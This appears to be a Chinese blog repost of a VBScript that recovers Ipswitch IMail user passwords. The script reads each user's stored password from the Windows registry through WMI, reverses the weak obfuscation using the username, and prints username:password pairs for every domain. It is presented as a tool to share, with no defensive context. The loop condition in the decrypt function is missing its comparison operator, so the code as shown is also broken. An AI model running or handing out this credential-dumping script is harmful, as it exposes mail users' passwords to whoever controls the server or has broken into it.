vbs imail 密码解密
导读：收集整理的这篇文章主要介绍了vbs imail 密码解密，觉得挺不错的，现在分享给大家，也给大家做个参考。 复制代码 代码如下:on error resume next const HK...
收集整理的这篇文章主要介绍了vbs imail 密码解密，觉得挺不错的，现在分享给大家，也给大家做个参考。 复制代码 代码如下:on error resume next
const HKEY_LOCAL_MACHINE = & H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{ imPErsonationLevel=impersonate} !\\" & _
strComputer & "\root\default:StdRegPRov")
strKeyPath = "Software\IpswITch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For each subkey In arrSubKeys
wscript.echo "Domain: "& subkey
strKeyPath2 = strKeyPath& "\"& subkey& "\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2& "\"& subkey2
strValueName = "Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 & " : " & decrypt(subkey2,strValue)
end if
Next
Next
function decrypt(name,pass)
while len(name)len(pass)/2
name=name& name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="& H"& p
n=mid(name,i+1,1)
decrypt=decrypt& chr(clng(p)-asc(n))
next
end function
声明：本文内容由网友自发贡献，本站不承担相应法律责任。对本内容有异议或投诉，请联系2913721942#qq.com核实处理，我们将尽快回复您，谢谢合作！
若转载请注明出处： vbs imail 密码解密
本文地址： https://pptw.com/jishu/609749.html